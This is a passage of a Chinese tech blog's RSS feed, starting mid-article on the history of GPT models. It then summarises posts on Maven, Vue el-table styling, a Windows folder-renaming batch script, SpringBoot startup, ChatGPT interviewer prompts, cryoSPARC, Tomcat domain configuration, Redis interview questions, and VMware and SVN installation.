2019年2月OpenAI又推出了由GPT-1演变而来的GPT-2，但主要改变只有使用了更多参数与数据集，参数量达15亿（GPT-1仅有1.17亿），而学习目标改成了「无特定任务训练」。这证明了，大幅增加的参数和资料可以让GPT-2比起GPT-1更上一层楼，虽然有些任务的表现不比随机的好，但在生成短文和编故事等方面都有了一定的突破。&#xA;3. GPT-3／GPT-3.5 2020年GPT-3也受简单粗暴地用钱堆出了更多的运算资源，延续过去GPT类的单向语言模型的训练方式，只是将模型增大到1750亿参数。GPT-3在自然语言处理领域已经取得了重大的突破，成为了当时最大、最强大的自然语言生成模型，从机器翻译到文章总结输出，都有着非常出色的表现。&#xA;只是，2020年因为疫情严峻所致，人们对于人工智慧领域的突破并没有足够的关注。而且，比起ChatGPT，GPT-3并没有办法进行自然的对话，只能处理单向的任务，因此也只有少数开发者有兴趣。&#xA;直到2022年11月底，OpenAI才发布了「GPT-3.5」的更新，主打对话模式，甚至可以承认错误、且拒绝不恰当的请求──这就是支持ChatGPT背后的模型，其更接近人类对话与思考方式的特点也吸引了全球的目光。&#xA;4. GPT-4 距上次GPT-3.5的更新不久，2023年3月14日，OpenAI又抛出GPT-4，此次除了正确度高出40%、以整理和搜寻网络上的资讯为主，还可以支援视觉输入、图像辨识，并懂得「看图说故事」！不过GPT-4没有再砸下重金、狂堆训练参数，而是把研发的重点将放在提升利用现有数据的能力上。&#xA;🚀🏆🍀【算法创新&amp;amp;算法训练&amp;amp;论文投稿】相关链接👇👇👇 ✨【YOLO创新算法尝新系列】✨ 🏂 美团出品 | YOLOv6 v3.0 is Coming（超越YOLOv7、v8） 🏂 官方正品 | Ultralytics YOLOv8算法来啦（尖端SOTA模型） 🏂 改进YOLOv5/YOLOv7——魔改YOLOv5/YOLOv7提升检测精度（涨点必备） ——————————————🌴【重磅干货来袭】🎄—————————————— 🚀一、主干网络改进（持续更新中）🎄🎈 1.</description>
    </item>
    <item>
      <title>maven打包排除类不生效 maven-compiler-plugin</title>
      <link>https://bchobby.github.io/posts/bad89111d45698135874facafe110bf3/</link>
      <pubDate>Thu, 27 Apr 2023 16:42:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bad89111d45698135874facafe110bf3/</guid>
      <description> 问题&#xA;有个springboot项目B作为另一个项目A的依赖，在B打包的时候需要排除它的启动类。&#xA;按照百度的说法，只需要添加以下配置就可以排除掉。&#xA;&amp;lt;build&amp;gt; &amp;lt;!--打包项目包名--&amp;gt; &amp;lt;finalName&amp;gt;${project.artifactId}&amp;lt;/finalName&amp;gt; &amp;lt;plugins&amp;gt; &amp;lt;plugin&amp;gt; &amp;lt;groupId&amp;gt;org.apache.maven.plugins&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;maven-compiler-plugin&amp;lt;/artifactId&amp;gt; &amp;lt;configuration&amp;gt; &amp;lt;excludes&amp;gt; &amp;lt;exclude&amp;gt;**/BApplication.java&amp;lt;/exclude&amp;gt; &amp;lt;/excludes&amp;gt; &amp;lt;/configuration&amp;gt; &amp;lt;/plugin&amp;gt; &amp;lt;/plugins&amp;gt; &amp;lt;/build&amp;gt; 但是实际打包后发现排除并不生效。&#xA;原因&#xA;1.排除的类在某个类C中import了，类C要编译就必须编译排除的类，所以要同时排除掉C。&#xA;2.parent pom引入了这个类，导致exclude不生效&#xA;解决办法&#xA;在项目B中写了单元测试，使用了注解@SpringBootTest(classes={BApplication.class})，所以编译test的时候强行编译了启动类。&#xA;因此直接跳过编译&#xA;&amp;lt;properties&amp;gt; &amp;lt;!--跳过编译test--&amp;gt; &amp;lt;maven.test.skip&amp;gt;true&amp;lt;/maven.test.skip&amp;gt; &amp;lt;!--跳过执行单元测试--&amp;gt; &amp;lt;skipTests&amp;gt;true&amp;lt;/skipTests&amp;gt; &amp;lt;/properties&amp;gt; &amp;lt;build&amp;gt; &amp;lt;!--打包项目包名--&amp;gt; &amp;lt;finalName&amp;gt;${project.artifactId}&amp;lt;/finalName&amp;gt; &amp;lt;plugins&amp;gt; &amp;lt;plugin&amp;gt; &amp;lt;groupId&amp;gt;org.apache.maven.plugins&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;maven-compiler-plugin&amp;lt;/artifactId&amp;gt; &amp;lt;!--覆盖parent pom的配置--&amp;gt; &amp;lt;configuration combine.self=&#34;override&#34;&amp;gt; &amp;lt;excludes&amp;gt; &amp;lt;exclude&amp;gt;**/BApplication.java&amp;lt;/exclude&amp;gt; &amp;lt;/excludes&amp;gt; &amp;lt;/configuration&amp;gt; &amp;lt;/plugin&amp;gt; &amp;lt;/plugins&amp;gt; &amp;lt;/build&amp;gt; </description>
    </item>
    <item>
      <title>【el-table】设置行变色，以及鼠标移入的时候保持背景色不变</title>
      <link>https://bchobby.github.io/posts/0afee2084ec1c3139508e2f7e21e157e/</link>
      <pubDate>Thu, 27 Apr 2023 16:32:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0afee2084ec1c3139508e2f7e21e157e/</guid>
      <description> 1、根据条件设置行变色，这个官网上也有示例，没啥难的，直接贴代码了&#xA;&amp;lt;el-table :data=&#34;navList&#34; :row-class-name=&#34;tableRowClassName&#34; :cell-style=&#34;tableCellstyle&#34; &amp;gt; tableRowClassName({ row, rowIndex }) { if (row.Flag == &#39;Y&#39;) { return &#39;changeBcg&#39; } return &#39;&#39; }, /deep/.el-table { .changeBcg { background: #fff2cc; } } 2、设置好背景色后发现，每次鼠标移入到变色的行上面，背景色就会变成灰色，要求是移入也要是变过色的背景色&#xA;tableCellstyle({ row, rowIndex }) { if (row.Flag == &#39;Y&#39;) { return &#39;background: #fff2cc&#39; } return &#39;&#39; }, </description>
    </item>
    <item>
      <title>windows bat批处理 修改文件夹子目录名称，删除前五个字符</title>
      <link>https://bchobby.github.io/posts/a1a18434dafb5ba101af238c4a295b55/</link>
      <pubDate>Thu, 27 Apr 2023 15:56:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a1a18434dafb5ba101af238c4a295b55/</guid>
      <description> 步骤 新建.txt文件，名称任意，如aaa.txt ，编写批处理命令，代码如下 @echo off setlocal enabledelayedexpansion for /d %%f in (*) do ( echo %%f set name=%%f ren !name! !name:~5%!&#x9;) pause 修改文件后缀为.bat,确认修改文件名&#xA;将.bat 文件放入目录下，点击执行即可&#xA;所用命令注释 ::利用for、ren命令 删除文件夹名称前5位 ::@echo off ：作用：在dos命令环境中屏蔽命令提示符 @echo on 为开启 ::setlocal enabledelayedexpansion ： 作用启用延迟扩展，使cmd识别语法!var!，访问current的var值 SETLOCAL DISABLEDELAYEDEXPANSION 为关闭延迟扩展 :: for命令： 具体语法：FOR %%variable IN (set) DO command [command-parameters] ::&#x9;%%variable 指定一个单一字母可替换的参数。 ::&#x9;(set) 指定一个或一组文件。可以使用通配符 *。 ::&#x9;command 指定对每个文件执行的命令。 ::&#x9;command-parameters 为特定命令指定参数或命令行开关。 ::&#x9;for命令有4个参数 /d /l /r 以及最强大的 /f ； :: /d 表示仅为目录，用于目录搜索,不会搜索文件 ::&#x9;/r 表示递归 ，进入根目录树 [Drive:]Path，在树的每个目录中执行 for 语句。如果在 /R 后没有指定目录，则认为是当前目录。 ::&#x9;/l 表示迭代数值范围 ，for /L %% Variable in (Start#,Step#,End#) do Command使用迭代变量设置起始值 (Start#)，然后逐::&#x9;::&#x9;步执行一组范围的值，直到该值超过所设置的终止值 (End#) （Step#）开始迭代的位置如： ::&#x9;for /l %%i in (1,1,5) do start cmd 作用：遍历启动五个cmd窗口 ::&#x9;/f 有两个参数 delims和tokens，其作用是用来处理文件和一些命令的输出结果，具体可自己了解 ::ren：rename的缩写，是一个操作系统命令，用于给文件重命名 ren oldname newname ::%%f： 变量 </description>
    </item>
    <item>
      <title>SpringBoot启动流程</title>
      <link>https://bchobby.github.io/posts/bfc9ac29a7a9eb14a5aadfd5ea0a6494/</link>
      <pubDate>Thu, 27 Apr 2023 15:53:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bfc9ac29a7a9eb14a5aadfd5ea0a6494/</guid>
      <description>目录&#xA;通过SpringApplication开始引导启动&#xA;new SpringApplication——创建引导启动的实例&#xA;run()——开始引导启动&#xA;new StopWatch()——创建计时器&#xA;configureHeadlessProperty()——配置Headless模式&#xA;SpringApplicationRunListener.start()——获取监听器,启动监听&#xA;prepareEnvironment()——准备环境，创建ConfigurableEnvironment对象&#xA;printBanner()——打印横幅&#xA;createApplicationContext()——创建应用程序上下文并加载Bean&#xA;prepareContext()——准备ApplicationContext&#xA;refreshContext()——刷新上下文&#xA;afterRefresh()——留给子类的钩子函数&#xA;启动完成&#xA;准备运行&#xA;总结&#xA;通过SpringApplication开始引导启动 SpringApplication类是用来执行Spring框架启动的引导类。有两种方式可以进行启动引导：&#xA;通过静态方法 SpringApplication.run启动。先创建 SpringApplication实例，在调用的实例方法 run进行启动。 无论是以上哪种方式，最终都是通过创建SpringApplication实例，在调用run()启动。&#xA;new SpringApplication——创建引导启动的实例 在创建SpringApplication实例的时候，会根据用户输入和工程环境做一些基础配置，供之后引导启动中使用。&#xA;设置ResourceLoader和PrimarySources从类中加载initializer和listener放在集合设置是否为Web环境(先确认用户是否指定，未指定则根据工程目录下是否有servlet相关环境)从工程环境中决定主入口的类 run()——开始引导启动 new StopWatch()——创建计时器 StopWatch是springframework.util中提供的一个工具类，在启动过程中使用StopWatch是为了记录启动花费的时间。&#xA;configureHeadlessProperty()——配置Headless模式 Headless模式是在环境缺少显示器等设备情况下的一种配置，和启动流程并无太多关系，不做介绍。&#xA;SpringApplicationRunListener.start()——获取监听器,启动监听 监听器可以用来监听SpringApplication启动过程中的各个阶段。默认的监听器是EventPublishRunListener，用户也可以通过实现SpringApplicationRunListener接口，实现应用程序对SpringApplication启动过程的监听。&#xA;在 resources/META-INF 下建立 spring.factories 文件，文件中添加 key=value 形式，其中 key 为 SpringApplicationRunListener的全路径名，value 为应用程序对该接口的实现类(类需要一个参数类型为 SpringApplication 和 String 数组的构造函数，用于通过反射创建实例)。&#xA;prepareEnvironment()——准备环境，创建ConfigurableEnvironment对象 在这一步，SpringApplication会创建Spring启动所需的环境，这个环境主要由ConfigurableEnviroment对象表示。首先，该对象确认了程序是否需要设置Web环境，其次，该对象还确定了程序所需要的参数和读取的配置文件等信息。&#xA;此步骤会回调SpringApplicationRunListener的environmentPrepared()方法，通知监听器环境已经准备好。&#xA;printBanner()——打印横幅 这一步骤其实和启动并没有太大关系，只是会向控制台或是日志中输出Spring的Logo和版本信息。&#xA;createApplicationContext()——创建应用程序上下文并加载Bean 在准备好环境之后，接下来要做的就是创建应用程序上下文ApplicationContext对象。&#xA;ApplicationContext是Spring IoC的核心组件，它不仅是程序所需Bean的容器，还提供了国际化，事件发布等功能。&#xA;在创建应用程序上下文的时候，首先会根据之前配置决定上下文的具体类型（AnnotationConfigApplicationContext或是AnnotationConfigServletWebServerApplicationContext）。再通过反射实例化到对象。&#xA;prepareContext()——准备ApplicationContext 虽然已经得到了ApplicationContext对象，但此时的对象还只是一个空白对象，需要准备和处理后，ApplicationContext才能被使用。&#xA;在准备过程中主要做了做了几件事：为ApplicationContext设置之前准备好的Environment对象。&#xA;通过对ApplicationContext后置处理或是BeanDefinitionLoader等方式往容器中添加一些初始的Bean。&#xA;应用默认的初始化器初始化应用程序上下文(责任链模式的应用，多个初始化器形成一个List，应用程序需要被每个初始化器应用一次，每个初始化器有自己的职责)。&#xA;准备过程中ApplicationRunListener发出两个消息，分别是contextPrepared和contextLoaded。&#xA;refreshContext()——刷新上下文 在应用程序上下文准备好后，可以通过刷新应用程序上下文发现Bean并加载到容器中。refreshContext()会调用ApplicationContext.</description>
    </item>
    <item>
      <title>ChatGPT中文调教指南（1）——担任面试官</title>
      <link>https://bchobby.github.io/posts/10cb81bb9c0adbaeb316e342973c8a63/</link>
      <pubDate>Thu, 27 Apr 2023 14:24:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/10cb81bb9c0adbaeb316e342973c8a63/</guid>
      <description> 担任面试官&#xA;示例：Java 后端开发工程师、React 前端开发工程师、全栈开发工程师、iOS 开发工程师、Android开&#xA;发工程师等。&#xA;我想让你担任Android开发工程师面试官。我将成为候选人，您将向我询问Android开发工程师职&#xA;位的面试问题。我希望你只作为面试官回答。不要一次写出所有的问题。我希望你只对我进行采&#xA;访。问我问题，等待我的回答。不要写解释。像面试官一样一个一个问我，等我回答。我的第一句 话是“面试官你好”&#xA;面试官您好。&#xA;您能介绍一下您的Android开发经验吗？您最近在做什么项目？能给我们讲讲吗？您在开发中遇到过最大的挑战是什么？如何解决的？您对于Android架构有哪些了解？您最擅长哪种架构？您对于性能优化有哪些经验？能分享一下您的优化策略吗？您如何保证应用程序的稳定性？您有什么特别的方法或工具吗？您是否有使用过一些比较新的Android技术或框架？您对它们有什么看法？您如何处理Android系统版本兼容性问题？您有什么经验或技巧吗？您对于测试有什么看法？您会如何进行测试？您是否有参与过开源项目？能给我们讲讲您的经验吗？ 我想让你担任软件测试工程师面试官。我将成为候选人，您将向我询问软件测试工程师职&#xA;位的面试问题。我希望你只作为面试官回答。不要一次写出所有的问题。我希望你只对我进行采&#xA;访。问我问题，等待我的回答。不要写解释。像面试官一样一个一个问我，等我回答。我的第一句 话是“面试官你好”&#xA;面试官你好。&#xA;请介绍一下你的软件测试经验。你最擅长哪些测试技术和方法？你如何编写测试用例和测试计划？请描述一下你如何进行缺陷跟踪和管理。你如何评估测试覆盖率和测试效果？请谈谈你对自动化测试的看法和经验。如果你发现一个严重的缺陷，你会如何处理和通知相关人员？请描述你如何与软件开发人员和其他团队成员合作进行测试。你如何保证测试过程的质量和效率？请谈谈你对软件测试未来的发展和趋势的看法。 </description>
    </item>
    <item>
      <title>cryoSPARC基础教程</title>
      <link>https://bchobby.github.io/posts/e502371828a37cb5e6ab46e483cc9e45/</link>
      <pubDate>Thu, 27 Apr 2023 13:29:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e502371828a37cb5e6ab46e483cc9e45/</guid>
      <description>cryoSPARC是当前冷冻电镜单颗粒重构的主流软件之一，它的界面交互十分友好。本文采用一套铁蛋白apoferritin的数据作为testdata。我们服务器路径在/data/testdata/apoferritin下。别的朋友有需要的可以通过网盘下载，放在评论区。本人也是新手，文章有不对的或者补充的地方欢迎指出，大家一起讨论进步。&#xA;这是cryoSPARC v4.0的主界面，cryoSPARC软件是通过Web网页来访问的。&#xA;点击最左边第二个按钮可以显示所有的project&#xA;第一步：新建Project 点击上方绿色的New Project按钮可以新建Projet。&#xA;Title输入Project的名称，点击Container Directory右边的文件夹图标选择保存的路径并点击Select确认。下方点击Create新建。&#xA;注意：它会在选择的文件夹内创建一个“CS-xxx”的文件夹，所有的运算结果都在这个文件夹下。但是和relion不同，它可以允许访问外部文件夹的文件或者数据。最好别在服务器的各种路径下到处生成Project文件夹，一不小心就被管理员清掉了，在自己的文件夹下新建，做好管理和规划。&#xA;第二步：创建Workspace 创建Project之后会自动要求你先创建一个Workspace，输入个自己看得懂的名字比如W1。不同worksparce之间是可以互相使用计算的结果的，所以创建Workspace方便分类和查找自己的计算。&#xA;新的Workspace会显示如下，因为是空的，所以它给你推荐了一些可能需要的Job类型，一般是Import导入数据。右上角Detail显示Workspace或者Job的信息，点击Builder可以新建所有类型的Job。&#xA;第三步：导入数据 冷冻电镜收集的原始图片一般是以Mutiframes Movies形式（比如SeriesEM软件收集的Tiff格式，EPU软件收集的eer格式）。&#xA;如果在收集的时候就做过MotionCorretion，或者在别的软件里比如relion、MotionCor2等做过MotionCorretion，那么是文件就是mrc格式的Micrograph，直接选择Import Micrograph就行。&#xA;点击Import Movies。&#xA;1、点击这个区域可以放大Job看详细信息&#xA;2、如果想要暂停一下去做别的事，可以点击Stop Building。同时，这个图标会变成紫色的Build，再点一下就可以继续编辑。&#xA;3、输入Movies的路径&#xA;4、输入gain文件（gain.mrc）&#xA;这里如果收集回来的gain是.dm4格式的，用eman2软件的e2proc2d.py程序转化格式。&#xA;module load eman2/2.31 cd /path/to/gain e2proc2d.py gain.dm4 gain.mrc 点击Movie data path右边的文件夹，找到自己的原始数据位置，选择其中一张照片，然后在路径里改成*.tiff或者*.eer（*代表该文件夹下全部文件，为了防止一起导入当前路径下有gain或者其它文件，写*.tiff保证导入的都是以tiff后缀的Movies）。点击Select。这时候再点击Movie data path右边的文件夹图标，我们会发现当前目录下全部Movies都被选中了。&#xA;同样的，点击Gain reference path右边的文件夹图标，选中gain.mrc&#xA;然后将电镜收集参数填完（这些参数收集数据的时候记下来）。&#xA;- Rotate gain ref? 一般gain flip和rotate都不用管，这套tutorial的数据需要旋转90度。输入1代表选择一次90度。&#xA;- Raw pixel size (A) 像素大小&#xA;- Accelerating Voltage (kV) 加速电压&#xA;- Spherical Aberration (mm) 球差系数&#xA;- Total exposure dose (e/A^2) 总电子剂量</description>
    </item>
    <item>
      <title>外网域名访问tomcat服务器上项目并且通过域名路径访问图片接口</title>
      <link>https://bchobby.github.io/posts/0118d0c1d1a5f26c99a3d3c4ef69ebd4/</link>
      <pubDate>Thu, 27 Apr 2023 11:36:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0118d0c1d1a5f26c99a3d3c4ef69ebd4/</guid>
      <description>今天给大家阐述如何在工作中，利用外网进行访问服务器的项目以及文件图片。&#xA;通过域名的形式进行公网访问：如：www.xxxxxx.com访问网站，www.xxxxxx.com/image/upload.png 访问服务器上的网络图片&#xA;一：主要就是部署修改服务器Tomcat的server.xml文件&#xA;(文章底部附全部server.xml) &amp;lt;Connector connectionTimeout=&#34;20000&#34; port=&#34;80&#34; protocol=&#34;HTTP/1.1&#34; redirectPort=&#34;8443&#34;/&amp;gt; 修改port=“80”的端口值 注：如果不修改此值，公网或者IP地址访问就需要携带8080端口号才能访问到Tomcat！如果修改为80，就默认不需要加端口：比如：www.123456.com或者公网IP:47.215.xxx.125就可以访问！&#xA;&amp;lt;Engine name=&#34;Catalina&#34; defaultHost=&#34;www.rxxxx731.com&#34;&amp;gt; 修改defaultHost=“www.xxxxxx.com”的值 &amp;lt;Host name=&#34;www.rxxxx731.com&#34; appBase=&#34;webapps&#34; unpackWARs=&#34;true&#34; autoDeploy=&#34;true&#34;&amp;gt; 修改name=“www.xxxxxx.com”的地址值 在Host里面添加部署网站到tomcat-webapps的路径&#xA;&amp;lt;Context path=&#34;&#34; docBase=&#34;C:\Users\Administrator\Desktop\tomcat\apache-tomcat-8.5.69\webapps\ycWeb&#34;/&amp;gt; 此部署后，在公网上就可以访问到项目网站了 在上方的context下，继续部署一个context，用于公网访问服务器上的文件存储的图片&#xA;&amp;lt;Context path=&#34;/image&#34; docBase=&#34;C:\Users\Administrator\Desktop\image&#34; reloadable=&#34;true&#34;&amp;gt;&amp;lt;/Context&amp;gt; 此docBase路径为服务器上桌面上image文件夹的路径，网络图片都存储在这，可以实现外网www.xxxxxx.com/image/1.png就能访问到资源图 总结完毕！如果还不行，可以看看细节部分⬇️ 重点细节： 1，如果tomcat下部署项目后可以访问，把项目删掉也可以外网访问时，可能是开启了IIS服务，需要关闭IIS启动。&#xA;2.域名的访问需要备案，备案成功后需要配置相应的安全组&#xA;3.外网通过域名的形式访问服务器上存储的图片时，需要在Host下新添加Context&#xA;&amp;lt;Context path=&#34;/image&#34; docBase=&#34;C:\Users\Administrator\Desktop\image&#34; reloadable=&#34;true&#34;&amp;gt;&amp;lt;/Context&amp;gt; 我的文件夹全路径是C:\Users\Administrator\Desktop\image\upload&#xA;path要填写服务器上桌面上的文件夹名称，不能填写image下面的子文件夹，如：/image/upload是不可行的，不需要填写子文件夹docBase-这个属性也一样，最后就是image(桌面上看见的文件夹)结尾，不用填写到upload了 查看最终的截图： 1.访问tomcat下部署的web项目&#xA;2.访问用户上传的图片，存储在服务器image文件夹下的图片&#xA;附全览Tomcat下server.xml文件 &amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&amp;gt; &amp;lt;!-- Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership.</description>
    </item>
    <item>
      <title>46道史上最全Redis面试题，面试官能问的都被我找到了（含答案）</title>
      <link>https://bchobby.github.io/posts/d241545974c5a5b8cbcccf3e831d2533/</link>
      <pubDate>Thu, 27 Apr 2023 10:26:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d241545974c5a5b8cbcccf3e831d2533/</guid>
      <description>Redis高性能缓存数据库 1、什么是 Redis？简述它的优缺点？&#xA;Redis 的全称是：Remote Dictionary.Server，本质上是一个 Key-Value 类型的内存数据库，很像&#xA;memcached，整个数据库统统加载在内存当中进行操作，定期通过异步操作把数据库数据 flush 到硬盘上进行保存。&#xA;因为是纯内存操作，Redis 的性能非常出色，每秒可以处理超过 10 万次读写操作，是已知性能最快的Key-Value DB。&#xA;Redis 的出色之处不仅仅是性能，Redis 最大的魅力是支持保存多种数据结构，此外单个 value 的最大限制是 1GB，不像 memcached 只能保存 1MB 的数据，因此 Redis 可以用来实现很多有用的功能。&#xA;比方说用他的 List 来做 FIFO 双向链表，实现一个轻量级的高性 能消息队列服务，用他的 Set 可以做高性能的 tag 系统等等。&#xA;另外 Redis 也可以对存入的 Key-Value 设置 expire 时间，因此也可以被当作一 个功能加强版的memcached 来用。 Redis 的主要缺点是数据库容量受到物理内存的限制，不能用作海量数据的高性能读写，因此 Redis 适合的场景主要局限在较小数据量的高性能操作和运算上&#xA;2、Redis 与 memcached 相比有哪些优势？&#xA;memcached 所有的值均是简单的字符串，redis 作为其替代者，支持更为丰富的数据类型redis 的速度比 memcached 快很多 redis 的速度比 memcached 快很多redis 可以持久化其数据 redis 可以持久化其数据 3、Redis 支持哪几种数据类型？</description>
    </item>
    <item>
      <title>【虚拟机】在Windows11上下载安装VMware虚拟机以及Ubuntu（Linux）详细操作</title>
      <link>https://bchobby.github.io/posts/7696ac1cdcd594f9051cbdf2026c7c0c/</link>
      <pubDate>Thu, 27 Apr 2023 10:09:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7696ac1cdcd594f9051cbdf2026c7c0c/</guid>
      <description>介绍&#xA;这里是小编成长之路的历程，也是小编的学习之路。希望和各位大佬们一起成长！&#xA;以下为小编最喜欢的两句话：&#xA;要有最朴素的生活和最遥远的梦想，即使明天天寒地冻，山高水远，路远马亡。&#xA;一个人为什么要努力？ 我见过最好的答案就是：因为我喜欢的东西都很贵，我想去的地方都很远，我爱的人超完美。因此，小编想说：共勉！&#xA;目录&#xA;一、下载VMware虚拟机和Ubuntu（Linux）&#xA;VMware Workstation Pro 16&#xA;Ubuntu（Linux）&#xA;二、安装步骤&#xA;以管理员身份运行VMware&#xA;三、开启虚拟机&#xA;如果出现错误无法连接虚拟设备 sata0:1,因为主机上没有相对应的设备&#xA;四、将语言设置为中文&#xA;一、下载VMware虚拟机和Ubuntu（Linux） 可以在官网下载VMware的虚拟机和Ubuntu（Linux）&#xA;VMware Workstation Pro 16 VMware 中国 - 交付面向企业的数字化基础 | CN&#xA;小编下载的就是VMware Workstation Pro 16的&#xA;Ubuntu（Linux） 可以在官网下载Ubuntu&#xA;Ubuntu 16.04.7 LTS （Xenial Xerus）&#xA;二、安装步骤 这个地方可以不选中，选中的话会提示你是否更新版本&#xA;以管理员身份运行VMware 小编这里选择的是自定义安装&#xA;这里是运行内存，一般选择推荐内存，箭头选择那个绿色的方框&#xA;这里可以使用桥接网络，这样就会生成一个新的ip地址，就不会使用你主机windows的ip地址了&#xA;完成上述步骤，虚拟机就可以创建完成&#xA;三、开启虚拟机 注意:小编报了以上的错误，但是小编没有去解决它，后来运行了几次虚拟机都没有出现这个问题所以小编就没有去解决了。如果大家出现问题了，可以去看看其他博主的文章！&#xA;如果出现错误无法连接虚拟设备 sata0:1,因为主机上没有相对应的设备 可以进行下图的操作 再运行虚拟机就会出现一个页面，等一会就可以进入登录页面&#xA;登录页面&#xA;这个地方需要注意&#xA;四、将语言设置为中文 点击系统设置就可以更换语言为中文了&#xA;语言支持&#xA;下载 输入密码&#xA;点击yes之后，需要再次输入密码&#xA;下载其他语言&#xA;选择中文简体&#xA;下载完就可以看到汉语在底部了&#xA;将最下面的汉语拖到最上面，语言默认最上面的为首选项&#xA;重新启动Ubuntu，登录进来就可以看到你已经更改了语言&#xA;打开设置就可以看到 设置中的语言变成了中文</description>
    </item>
    <item>
      <title>【SVN】windows SVN安装使用教程（服务器4.3.4版本/客户端1.11.0版本）</title>
      <link>https://bchobby.github.io/posts/a63fc056779dea4a23282eafadb235db/</link>
      <pubDate>Thu, 27 Apr 2023 08:41:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a63fc056779dea4a23282eafadb235db/</guid>
      <description>介绍&#xA;这里是小编成长之路的历程，也是小编的学习之路。希望和各位大佬们一起成长！&#xA;以下为小编最喜欢的两句话：&#xA;要有最朴素的生活和最遥远的梦想，即使明天天寒地冻，山高水远，路远马亡。&#xA;一个人为什么要努力？ 我见过最好的答案就是：因为我喜欢的东西都很贵，我想去的地方都很远，我爱的人超完美。因此，小编想说：共勉！&#xA;目录&#xA;一、SVN的一些概念&#xA;1、什么是SVN?&#xA;2、SVN的作用是什么？为什么要用SVN？&#xA;二、VisualSVN Server服务端–服务器搭建和使用&#xA;1、官网下载VisualSVN Server服务端&#xA;步骤：&#xA;1、下载和搭建SVN服务器&#xA;2、建立用户和组，以及权限的分配&#xA;新建用户&#xA;新建组&#xA;权限的分配&#xA;三：客户端TortoiseSVN安装&#xA;1、官网下载&#xA;2、安装步骤&#xA;1、首先我们需要下载 ”svn小乌龟”后，进行安装。然后一路next即可安装。&#xA;3、再一直下一步！！&#xA;4、中文安装包&#xA;5、然后右击桌面空白的地方，（只要是空白的地方），出现以下界面即为安装成功&#xA;6、如果勾选了命令行，可以在cmd中查看svn命令行是否安装成功&#xA;四、一些基本操作&#xA;1、在服务端获取svn检出的地址&#xA;2、检出&#xA;3、在上图中点击确定，就会跳出一个框，让你输入自己的账号和密码（这个地方账号和密码就是服务端创建的用户组）&#xA;4、进入你自己检出的路径，就可以看到下图的文件了&#xA;一、SVN的一些概念 详细概念可以看一下百度的文章&#xA;TortoiseSVN_百度百科&#xA;1、什么是SVN? SVN是subversion的缩写，是一个开放源代码的版本控制系统，通过采用分支管理系统的高效管理，简而言之就是用于多个人共同开发同一个项目，实现共享资源，实现最终集中式的管理。&#xA;Subversion(SVN) 是一个开源的版本控制系統, 也就是说 Subversion 管理着随时间改变的数据。 这些数据放置在一个中央资料档案库(repository) 中。 这个档案库很像一个普通的文件服务器, 不过它会记住每一次文件的变动。 这样你就可以把档案恢复到旧的版本, 或是浏览文件的变动历史。&#xA;2、SVN的作用是什么？为什么要用SVN？ 代码版本管理的工具，即把代码提交到服务器，可回退历史版本，总结起来有以下几点功能：&#xA;1、把自己编写代码提交至服务器。每提交一次会产生一个版本，如果在实际过程中写错了可查看历史版本；&#xA;2、回退历史版本功能；&#xA;3、协同修改。实际开发中不止一个人在开发，如果多人开发不可能进行通过文件整理来合并代码，如同第1点的每个人都可以提交交代码，SVN服务器会自动合并代码。&#xA;4、多版本项目文件管理。如代码可以分开前端和后端两个分支。&#xA;5、可以追溯编提交时间和提交人的代码，比如多人修改了同一个地方的代码，可以查看是谁修改了什么代码&#xA;6、权限控制，可以把部分代码给不同的开发者，以免一个人把整个项目的代码都获取完，保证代码的安全性。&#xA;7、代码仓库，每来一个新的职员提交链接就可以下载代码&#xA;二、VisualSVN Server服务端–服务器搭建和使用 1、官网下载VisualSVN Server服务端 Apache Subversion Binary Packages&#xA;找到下图中的win（看自己的需要，小编本文所讲是win版本的）&#xA;因为小编有安装包，就没有下载最新版的VisualSVN Server，小编使用的是4.</description>
    </item>
    <item>
      <title>解决hive load local data报FAILED: Execution Error, return code 2 from org.apache.hadoop.hive.ql.exec.mr</title>
      <link>https://bchobby.github.io/posts/cd28f3d3d5da89e86ba9bdb445774885/</link>
      <pubDate>Wed, 26 Apr 2023 22:34:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cd28f3d3d5da89e86ba9bdb445774885/</guid>
      <description>一、报错如下 Hadoop job information for Stage-1: number of mappers: 1; number of reducers: 4 2023-04-26 10:20:01,826 Stage-1 map = 0%, reduce = 0% 2023-04-26 10:20:26,371 Stage-1 map = 100%, reduce = 100% Ended Job = job_1682514589825_0023 with errors Error during job, obtaining debugging information... Job Tracking URL: http://hadoop100:8088/proxy/application_1682514589825_0023/ Examining task ID: task_1682514589825_0023_m_000000 (and more) from job job_1682514589825_0023 Task with the most failures(4): ----- Task ID: task_1682514589825_0023_m_000000 URL: http://hadoop100:8088/taskdetails.jsp?jobid=job_1682514589825_0023&amp;amp;tipid=task_1682514589825_0023_m_000000 ----- Diagnostic Messages for this Task: Error: java.</description>
    </item>
    <item>
      <title>【c&#43;&#43;】 定义学生类，包括私有数据成员学号s_id、姓名name、班级grade、成绩score；私有静态成员count（用以统计学生人数）、sum（用以统计学生总成绩）。</title>
      <link>https://bchobby.github.io/posts/d306c4ffa17a12fb4cc1578e7a405663/</link>
      <pubDate>Wed, 26 Apr 2023 21:45:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d306c4ffa17a12fb4cc1578e7a405663/</guid>
